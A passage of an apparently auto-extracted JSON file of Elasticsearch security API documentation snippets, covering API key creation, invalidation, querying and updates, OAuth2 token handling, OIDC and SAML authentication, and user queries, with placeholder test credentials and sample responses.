\"password\" : \"x-pack-test-password\", <2>\n \"run_as\": \"test_user\", <3>\n \"api_key\" : {\n \"name\": \"another-api-key\"\n }\n}"}, {"source_location":{"file":"rest-api/security/has-privileges.asciidoc","line":69},"digest":"9684e5fa8c22a07a372feb6fc1f5f7c0","lang":"console","found":[],"source":"GET /_security/user/_has_privileges\n{\n \"cluster\": [ \"monitor\", \"manage\" ],\n \"index\" : [\n {\n \"names\": [ \"suppliers\", \"products\" ],\n \"privileges\": [ \"read\" ]\n },\n {\n \"names\": [ \"inventory\" ],\n \"privileges\" : [ \"read\", \"write\" ]\n }\n ],\n \"application\": [\n {\n \"application\": \"inventory_manager\",\n \"privileges\" : [ \"read\", \"data:write/inventory\" ],\n \"resources\" : [ \"product/1852563\" ]\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/has-privileges.asciidoc","line":96},"digest":"099336bd3e681efc691078a0300781a5","lang":"console-result","found":[],"source":"{\n \"username\": \"rdeniro\",\n \"has_all_requested\" : false,\n \"cluster\" : {\n \"monitor\" : true,\n \"manage\" : false\n },\n \"index\" : {\n \"suppliers\" : {\n \"read\" : true\n },\n \"products\" : {\n \"read\" : true\n },\n \"inventory\" : {\n \"read\" : true,\n \"write\" : false\n }\n },\n \"application\" : {\n \"inventory_manager\" : {\n \"product/1852563\" : {\n \"read\": false,\n \"data:write/inventory\": false\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":82},"digest":"0aff04881be21eea45375ec4f4f50e66","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-api-key\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":93},"digest":"2e7c8437de4fb8053b5307bd3141e904","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\",\n \"name\": \"my-api-key\",\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\",\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":109},"digest":"1ff12523efbd59c213c676937757c460","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"ids\" : [ \"VuaCfGcBCdbkQm-e5aOx\" ]\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":122},"digest":"f388e571224dd6850f8c9f9f08fca3da","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"name\" : \"my-api-key\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":133},"digest":"dde283eab92608e7bfbfa09c6482a12e","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"realm_name\" : \"native1\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":144},"digest":"e7d819634d765cde269e2669e2dc677f","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"username\" : \"myuser\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":155},"digest":"b22559a7c319f90bc63a41cac1c39b4c","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"ids\" : [\"VuaCfGcBCdbkQm-e5aOx\"],\n \"owner\" : \"true\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":167},"digest":"cfad3631be0634ee49c424f9ccec62d9","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"owner\" : \"true\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-api-keys.asciidoc","line":178},"digest":"6c927313867647e0ef3cd3a37cb410cc","lang":"console","found":[],"source":"DELETE /_security/api_key\n{\n \"username\" : \"myuser\",\n \"realm_name\" : \"native1\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":72},"digest":"cee591c1fc70d4f180c623a3a6d07755","lang":"console","found":[],"source":"POST /_security/oauth2/token\n{\n \"grant_type\" : \"client_credentials\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":82},"digest":"f062ee568353dd9f38abcede73e82f92","lang":"console-result","found":[],"source":"{\n \"access_token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"type\" : \"Bearer\",\n \"expires_in\" : 1200,\n \"authentication\" : {\n \"username\" : \"test_admin\",\n \"roles\" : [\n \"superuser\"\n ],\n \"full_name\" : null,\n \"email\" : null,\n \"metadata\" : { },\n \"enabled\" : true,\n \"authentication_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"lookup_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"authentication_type\" : \"realm\"\n }\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":115},"digest":"dbf9abc37899352751dab0ede62af2fd","lang":"console","found":[],"source":"DELETE /_security/oauth2/token\n{\n \"token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":128},"digest":"e1337c6b76defd5a46d05220f9d9c9fc","lang":"console","found":[],"source":"POST /_security/oauth2/token\n{\n \"grant_type\" : \"password\",\n \"username\" : \"test_admin\",\n \"password\" : \"x-pack-test-password\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":140},"digest":"95af049c46396a02bc028e15675584c7","lang":"console-result","found":[],"source":"{\n \"access_token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"type\" : \"Bearer\",\n \"expires_in\" : 1200,\n \"refresh_token\": \"vLBPvmAB6KvwvJZr27cS\",\n \"authentication\" : {\n \"username\" : \"test_admin\",\n \"roles\" : [\n \"superuser\"\n ],\n \"full_name\" : null,\n \"email\" : null,\n \"metadata\" : { },\n \"enabled\" : true,\n \"authentication_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"lookup_realm\" : {\n \"name\" : \"file\",\n \"type\" : \"file\"\n },\n \"authentication_type\" : \"realm\"\n }\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":175},"digest":"0c6f9c9da75293fae69659ac1d6329de","lang":"console","found":[],"source":"DELETE /_security/oauth2/token\n{\n \"refresh_token\" : \"vLBPvmAB6KvwvJZr27cS\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":188},"digest":"4bc4db44b8c74610b73f21a421099a13","lang":"console","found":[],"source":"DELETE /_security/oauth2/token\n{\n \"realm_name\" : \"saml1\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":199},"digest":"0280247e0cf2e561c548f22c9fb31163","lang":"console","found":[],"source":"DELETE /_security/oauth2/token\n{\n \"username\" : \"myuser\"\n}"}, {"source_location":{"file":"rest-api/security/invalidate-tokens.asciidoc","line":210},"digest":"6dd2a107bc64fd6f058fb17c21640649","lang":"console","found":[],"source":"DELETE /_security/oauth2/token\n{\n \"username\" : \"myuser\",\n \"realm_name\" : \"saml1\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-prepare-authentication-api.asciidoc","line":72},"digest":"e3019fd5f23458ae49ad9854c97d321c","lang":"console","found":[],"source":"POST /_security/oidc/prepare\n{\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-prepare-authentication-api.asciidoc","line":83},"digest":"52ad0524d2c48f08df49cd97f626eb80","lang":"console-result","found":[],"source":"{\n \"redirect\" : \"http://127.0.0.1:8080/c2id-login?scope=openid&response_type=id_token&redirect_uri=https%3A%2F%2Fmy.fantastic.rp%2Fcb&state=4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I&nonce=WaBPH0KqPVdG5HHdSxPRjfoZbXMCicm5v1OiAj0DUFM&client_id=elasticsearch-rp\",\n \"state\" : \"4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I\",\n \"nonce\" : \"WaBPH0KqPVdG5HHdSxPRjfoZbXMCicm5v1OiAj0DUFM\",\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-prepare-authentication-api.asciidoc","line":100},"digest":"57dc15e5ad663c342fd5c1d86fcd1b29","lang":"console","found":[],"source":"POST /_security/oidc/prepare\n{\n \"realm\" : \"oidc1\",\n \"state\" : \"lGYK0EcSLjqH6pkT5EVZjC6eIW5YCGgywj2sxROO\",\n \"nonce\" : \"zOBXLJGUooRrbLbQk5YCcyC8AXw3iloynvluYhZ5\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-prepare-authentication-api.asciidoc","line":113},"digest":"17688a05da0b77d24215557d94b55932","lang":"console-result","found":[],"source":"{\n \"redirect\" : \"http://127.0.0.1:8080/c2id-login?scope=openid&response_type=id_token&redirect_uri=https%3A%2F%2Fmy.fantastic.rp%2Fcb&state=lGYK0EcSLjqH6pkT5EVZjC6eIW5YCGgywj2sxROO&nonce=zOBXLJGUooRrbLbQk5YCcyC8AXw3iloynvluYhZ5&client_id=elasticsearch-rp\",\n \"state\" : \"lGYK0EcSLjqH6pkT5EVZjC6eIW5YCGgywj2sxROO\",\n \"nonce\" : \"zOBXLJGUooRrbLbQk5YCcyC8AXw3iloynvluYhZ5\",\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-prepare-authentication-api.asciidoc","line":128},"digest":"d35c8cf7a98b3f112e1de8797ec6689d","lang":"console","found":[],"source":"POST /_security/oidc/prepare\n{\n \"iss\" : \"http://127.0.0.1:8080\",\n \"login_hint\": \"this_is_an_opaque_string\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-prepare-authentication-api.asciidoc","line":140},"digest":"bce7bc9c3c18574531fe813fff284e32","lang":"console-result","found":[],"source":"{\n \"redirect\" : \"http://127.0.0.1:8080/c2id-login?login_hint=this_is_an_opaque_string&scope=openid&response_type=id_token&redirect_uri=https%3A%2F%2Fmy.fantastic.rp%2Fcb&state=4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I&nonce=WaBPH0KqPVdG5HHdSxPRjfoZbXMCicm5v1OiAj0DUFM&client_id=elasticsearch-rp\",\n \"state\" : \"4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I\",\n \"nonce\" : \"WaBPH0KqPVdG5HHdSxPRjfoZbXMCicm5v1OiAj0DUFM\",\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-authenticate-api.asciidoc","line":68},"digest":"9c01db07c9ac395b6370e3b33965c21f","lang":"console","found":[],"source":"POST /_security/oidc/authenticate\n{\n \"redirect_uri\" : \"https://oidc-kibana.elastic.co:5603/api/security/oidc/callback?code=jtI3Ntt8v3_XvcLzCFGq&state=4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I\",\n \"state\" : \"4dbrihtIAt3wBTwo6DxK-vdk-sSyDBV8Yf0AjdkdT5I\",\n \"nonce\" : \"WaBPH0KqPVdG5HHdSxPRjfoZbXMCicm5v1OiAj0DUFM\",\n \"realm\" : \"oidc1\"\n}"}, {"source_location":{"file":"rest-api/security/oidc-logout-api.asciidoc","line":47},"digest":"2a1eece9a59ac1773edcf0a932c26de0","lang":"console","found":[],"source":"POST /_security/oidc/logout\n{\n \"token\" : \"dGhpcyBpcyBub3QgYSByZWFsIHRva2VuIGJ1dCBpdCBpcyBvbmx5IHRlc3QgZGF0YS4gZG8gbm90IHRyeSB0byByZWFkIHRva2VuIQ==\",\n \"refresh_token\": \"vLBPvmAB6KvwvJZr27cS\"\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":290},"digest":"1a8d92e93481c432a91f7c213099800a","lang":"console","found":[],"source":"GET /_security/_query/api_key"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":368},"digest":"386eb7dcd3149db82605bf22c5d851bf","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"application-key-1\",\n \"metadata\": { \"application\": \"my-application\"}\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":380},"digest":"a0573663116a1d2e75aa7df8d4d3c99f","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\",\n \"name\": \"application-key-1\",\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\",\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\"\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":395},"digest":"de90249caeac6f1601a7e7e9f98f1bec","lang":"console","found":[],"source":"GET /_security/_query/api_key?with_limited_by=true\n{\n \"query\": {\n \"ids\": {\n \"values\": [\n \"VuaCfGcBCdbkQm-e5aOx\"\n ]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":469},"digest":"d4323be84152fa91abd76e966d4751dc","lang":"console","found":[],"source":"GET /_security/_query/api_key\n{\n \"query\": {\n \"term\": {\n \"name\": {\n \"value\": \"application-key-1\"\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":608},"digest":"1d252d9217c61c2c1cbe7a92f77b078f","lang":"console","found":[],"source":"POST /_security/_query/api_key\n{\n \"size\": 0,\n \"query\": {\n \"bool\": {\n \"must\": {\n \"term\": {\n \"invalidated\": false <1>\n }\n },\n \"should\": [ <2>\n {\n \"range\": { \"expiration\": { \"gte\": \"now\" } }\n },\n {\n \"bool\": { \"must_not\": { \"exists\": { \"field\": \"expiration\" } } }\n }\n ],\n \"minimum_should_match\": 1\n }\n },\n \"aggs\": {\n \"keys_by_username\": {\n \"composite\": {\n \"sources\": [ { \"usernames\": { \"terms\": { \"field\": \"username\" } } } ] <3>\n },\n \"aggs\": {\n \"expires_soon\": {\n \"filter\": {\n \"range\": { \"expiration\": { \"lte\": \"now+30d/d\" } } <4>\n },\n \"aggs\": {\n \"key_names\": { \"terms\": { \"field\": \"name\" } }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":658},"digest":"a4e2dcb11fd055558ea4848de5953bb9","lang":"console-result","found":[],"source":"{\n \"total\" : 4, <1>\n \"count\" : 0,\n \"api_keys\" : [ ],\n \"aggregations\" : {\n \"keys_by_username\" : {\n \"after_key\" : {\n \"usernames\" : \"king\"\n },\n \"buckets\" : [\n {\n \"key\" : {\n \"usernames\" : \"june\"\n },\n \"doc_count\" : 2, <2>\n \"expires_soon\" : {\n \"doc_count\" : 1,\n \"key_names\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : \"june-key-10\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n },\n {\n \"key\" : {\n \"usernames\" : \"king\"\n },\n \"doc_count\" : 2,\n \"expires_soon\" : {\n \"doc_count\" : 1, <3>\n \"key_names\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [ <4>\n {\n \"key\" : \"king-key-10\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":724},"digest":"2b5c69778eb3daba9fbd7242bcc2daf9","lang":"console","found":[],"source":"POST /_security/_query/api_key\n{\n \"size\": 0,\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"term\": {\n \"invalidated\": true\n }\n }\n }\n },\n \"aggs\": {\n \"invalidated_keys\": {\n \"composite\": {\n \"sources\": [\n { \"username\": { \"terms\": { \"field\": \"username\" } } },\n { \"key_name\": { \"terms\": { \"field\": \"name\" } } }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-api-key.asciidoc","line":753},"digest":"a35c21134ca47d39b8442f5497b289f5","lang":"console-result","found":[],"source":"{\n \"total\" : 2,\n \"count\" : 0,\n \"api_keys\" : [ ],\n \"aggregations\" : {\n \"invalidated_keys\" : {\n \"after_key\" : {\n \"username\" : \"king\",\n \"key_name\" : \"king-key-no-expire\"\n },\n \"buckets\" : [\n {\n \"key\" : {\n \"username\" : \"june\",\n \"key_name\" : \"june-key-100\"\n },\n \"doc_count\" : 1\n },\n {\n \"key\" : {\n \"username\" : \"king\",\n \"key_name\" : \"king-key-no-expire\"\n },\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":115},"digest":"88a283dfccc481f1afba79d9b3c61f51","lang":"console","found":[],"source":"GET /_security/_query/user"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":124},"digest":"f483a0503bad0d9977abd1c74d59b3ff","lang":"console-result","found":[],"source":"{\n \"total\": 2,\n \"count\": 2,\n \"users\": [ <1>\n {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\",\n \"other_role1\"\n ],\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\",\n \"metadata\": {\n \"intelligence\": 7\n },\n \"enabled\": true\n },\n {\n \"username\": \"sandrakn\",\n \"roles\": [\n \"admin\",\n \"other_role1\"\n ],\n \"full_name\": \"Sandra Knight\",\n \"email\": \"sandrakn@example.com\",\n \"metadata\": {\n \"intelligence\": 7\n },\n \"enabled\": true\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":165},"digest":"47e6dfb5b09d954c9c0c33fda2b6c66d","lang":"console","found":[],"source":"POST /_security/user/jacknich\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"admin\", \"other_role1\" ],\n \"full_name\" : \"Jack Nicholson\",\n \"email\" : \"jacknich@example.com\",\n \"metadata\" : {\n \"intelligence\" : 7\n }\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":181},"digest":"b5338124305e0319cded4717afab8c9d","lang":"console-result","found":[],"source":"{\n \"created\": true\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":190},"digest":"340b027449ca37d2e778e747974af9ff","lang":"console","found":[],"source":"GET /_security/_query/user\n{\n \"query\": {\n \"prefix\": {\n \"roles\": \"other\"\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":204},"digest":"b1d3b51fdfd4891371b7b3f8cc4e99a3","lang":"console-result","found":[],"source":"{\n \"total\": 1,\n \"count\": 1,\n \"users\": [\n {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\",\n \"other_role1\"\n ],\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\",\n \"metadata\": {\n \"intelligence\": 7\n },\n \"enabled\": true\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":230},"digest":"f20692e35a61b98746e926549030702b","lang":"console","found":[],"source":"GET /_security/_query/user?with_profile_uid=true\n{\n \"query\": {\n \"prefix\": {\n \"roles\": \"other\"\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/query-user.asciidoc","line":243},"digest":"f87b4de9daf3791178a5b4146abc7e59","lang":"console-result","found":[],"source":"{\n \"total\": 1,\n \"count\": 1,\n \"users\": [\n {\n \"username\": \"jacknich\",\n \"roles\": [\n \"admin\",\n \"other_role1\"\n ],\n \"full_name\": \"Jack Nicholson\",\n \"email\": \"jacknich@example.com\",\n \"metadata\": {\n \"intelligence\": 7\n },\n \"enabled\": true,\n \"profile_uid\": \"u_79HkWkwmnBH5gqFKwoxggWPjEBOur1zLPXQPEl1VBW0_0\"\n }\n ]\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":86},"digest":"3e121b43773cbb6dffa9b483c86a1f8d","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-api-key\",\n \"role_descriptors\": {\n \"role-a\": {\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [\"index-a*\"],\n \"privileges\": [\"read\"]\n }\n ]\n }\n },\n \"metadata\": {\n \"application\": \"my-application\",\n \"environment\": {\n \"level\": 1,\n \"trusted\": true,\n \"tags\": [\"dev\", \"staging\"]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":116},"digest":"2e7c8437de4fb8053b5307bd3141e904","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\",\n \"name\": \"my-api-key\",\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\",\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\"\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":148},"digest":"76bc87c2592864152768687c2963d1d1","lang":"console","found":[],"source":"PUT /_security/api_key/VuaCfGcBCdbkQm-e5aOx\n{\n \"role_descriptors\": {\n \"role-a\": {\n \"indices\": [\n {\n \"names\": [\"*\"],\n \"privileges\": [\"write\"]\n }\n ]\n }\n },\n \"metadata\": {\n \"environment\": {\n \"level\": 2,\n \"trusted\": true,\n \"tags\": [\"production\"]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":176},"digest":"95e65c9325e827594b2135ac85b26c4a","lang":"console-result","found":[],"source":"{\n \"updated\": true\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":200},"digest":"62ccee6ad356428c2d625742f961ceb7","lang":"console","found":[],"source":"PUT /_security/api_key/VuaCfGcBCdbkQm-e5aOx\n{\n \"role_descriptors\": {}\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":211},"digest":"95e65c9325e827594b2135ac85b26c4a","lang":"console-result","found":[],"source":"{\n \"updated\": true\n}"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":252},"digest":"e2ec9e867f7141b304b53ebc59098f2a","lang":"console","found":[],"source":"PUT /_security/api_key/VuaCfGcBCdbkQm-e5aOx"}, {"source_location":{"file":"rest-api/security/update-api-key.asciidoc","line":260},"digest":"95e65c9325e827594b2135ac85b26c4a","lang":"console-result","found":[],"source":"{\n \"updated\": true\n}"}, {"source_location":{"file":"rest-api/security/update-settings.asciidoc","line":49},"digest":"c54597143ac86540726f6422fd98b22e","lang":"console","found":[],"source":"PUT /_security/settings\n{\n \"security\": {\n \"index.auto_expand_replicas\": \"0-all\"\n },\n \"security-tokens\": {\n \"index.auto_expand_replicas\": \"0-all\"\n },\n \"security-profile\": {\n \"index.auto_expand_replicas\": \"0-all\"\n }\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":81},"digest":"3e121b43773cbb6dffa9b483c86a1f8d","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-api-key\",\n \"role_descriptors\": {\n \"role-a\": {\n \"cluster\": [\"all\"],\n \"indices\": [\n {\n \"names\": [\"index-a*\"],\n \"privileges\": [\"read\"]\n }\n ]\n }\n },\n \"metadata\": {\n \"application\": \"my-application\",\n \"environment\": {\n \"level\": 1,\n \"trusted\": true,\n \"tags\": [\"dev\", \"staging\"]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":110},"digest":"2e7c8437de4fb8053b5307bd3141e904","lang":"console-result","found":[],"source":"{\n \"id\": \"VuaCfGcBCdbkQm-e5aOx\",\n \"name\": \"my-api-key\",\n \"api_key\": \"ui2lp2axTNmsyakw9tvNnw\",\n \"encoded\": \"VnVhQ2ZHY0JDZGJrUW0tZTVhT3g6dWkybHAyYXhUTm1zeWFrdzl0dk5udw==\"\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":125},"digest":"dc468865da947b4a9136a5b92878d918","lang":"console","found":[],"source":"POST /_security/api_key\n{\n \"name\": \"my-other-api-key\",\n \"metadata\": {\n \"application\": \"my-application\",\n \"environment\": {\n \"level\": 2,\n \"trusted\": true,\n \"tags\": [\"dev\", \"staging\"]\n }\n }\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":143},"digest":"0fae916a1c7ae0baed2501a7cc47d632","lang":"console-result","found":[],"source":"{\n \"id\": \"H3_AhoIBA9hmeQJdg7ij\",\n \"name\": \"my-other-api-key\",\n \"api_key\": \"134G4ilmT_uGWXHRfJfXXA\",\n \"encoded\": \"SDNfQWhvSUJBOWhtZVFKZGc3aWo6MTM0RzRpbG1UX3VHV1hIUmZKZlhYQQ==\"\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":176},"digest":"80dd7f5882c59b9c1c90e8351937441f","lang":"console","found":[],"source":"POST /_security/api_key/_bulk_update\n{\n \"ids\": [\n \"VuaCfGcBCdbkQm-e5aOx\",\n \"H3_AhoIBA9hmeQJdg7ij\"\n ],\n \"role_descriptors\": {\n \"role-a\": {\n \"indices\": [\n {\n \"names\": [\"*\"],\n \"privileges\": [\"write\"]\n }\n ]\n }\n },\n \"metadata\": {\n \"environment\": {\n \"level\": 2,\n \"trusted\": true,\n \"tags\": [\"production\"]\n }\n },\n \"expiration\": \"30d\"\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":208},"digest":"7d6672bc04255423f2579d9256492d74","lang":"console-result","found":[],"source":"{\n \"updated\": [\n \"VuaCfGcBCdbkQm-e5aOx\",\n \"H3_AhoIBA9hmeQJdg7ij\"\n ],\n \"noops\": []\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":236},"digest":"c580990a70028bb49cca8a6bde86bbf6","lang":"console","found":[],"source":"POST /_security/api_key/_bulk_update\n{\n \"ids\": [\n \"VuaCfGcBCdbkQm-e5aOx\",\n \"H3_AhoIBA9hmeQJdg7ij\"\n ],\n \"role_descriptors\": {}\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":251},"digest":"7d6672bc04255423f2579d9256492d74","lang":"console-result","found":[],"source":"{\n \"updated\": [\n \"VuaCfGcBCdbkQm-e5aOx\",\n \"H3_AhoIBA9hmeQJdg7ij\"\n ],\n \"noops\": []\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":296},"digest":"6f3b723bf6179b96c3413597ed7f49e1","lang":"console","found":[],"source":"POST /_security/api_key/_bulk_update\n{\n \"ids\": [\n \"VuaCfGcBCdbkQm-e5aOx\",\n \"H3_AhoIBA9hmeQJdg7ij\"\n ]\n}"}, {"source_location":{"file":"rest-api/security/bulk-update-api-keys.asciidoc","line":310},"digest":"7d6672bc04255423f2579d9256492d74","lang":"console-result","found":[],"source":"{\n \"updated\": [\n \"VuaCfGcBCdbkQm-e5aOx\",\n \"H3_AhoIBA9hmeQJdg7ij\"\n ],\n \"noops\": []\n}"}, {"source_location":{"file":"rest-api/security/saml-prepare-authentication-api.asciidoc","line":79},"digest":"a5dfcfd1cfb3558e7912456669c92eee","lang":"console","found":[],"source":"POST /_security/saml/prepare\n{\n \"realm\" : \"saml1\"\n}"}, {"source_location":{"file":"rest-api/security/saml-prepare-authentication-api.asciidoc","line":90},"digest":"da3f280bc65b581fb3097be768061bee","lang":"console","found":[],"source":"POST /_security/saml/prepare\n{\n \"acs\" : \"https://kibana.org/api/security/saml/callback\"\n}"}, {"source_location":{"file":"rest-api/security/saml-authenticate-api.asciidoc","line":83},"digest":"8e208098a0156c4c92afe0a06960b230","lang":"console","found":[],"source":"POST /_security/saml/authenticate\n{\n \"content\" : \"PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMD.....\",\n \"ids\" : [\"4fee3b046395c4e751011e97f8900b5273d56685\"]\n}"}, {"source_location":{"file":"rest-api/security/saml-logout-api.asciidoc","line":66},"digest":"8d4dda5d988d568f4f4210a6387e026f","lang":"console","found":[],"source":"POST /_security/saml/logout\n{\n \"token\" : \"46ToAxZVaXVVZTVKOVF5YU04ZFJVUDVSZlV3\",\n \"refresh_token\" : \"mJdXLtmvTUSpoLwMvdBt_w\"\n}"}, {"source_location":{"file":"rest-api/security/saml-invalidate-api.asciidoc","line":82},"digest":"afc0a9cffc0100797a3f093094394763","lang":"console","found":[],"source":"POST /_security/saml/invalidate\n{\n \"query_string\" : 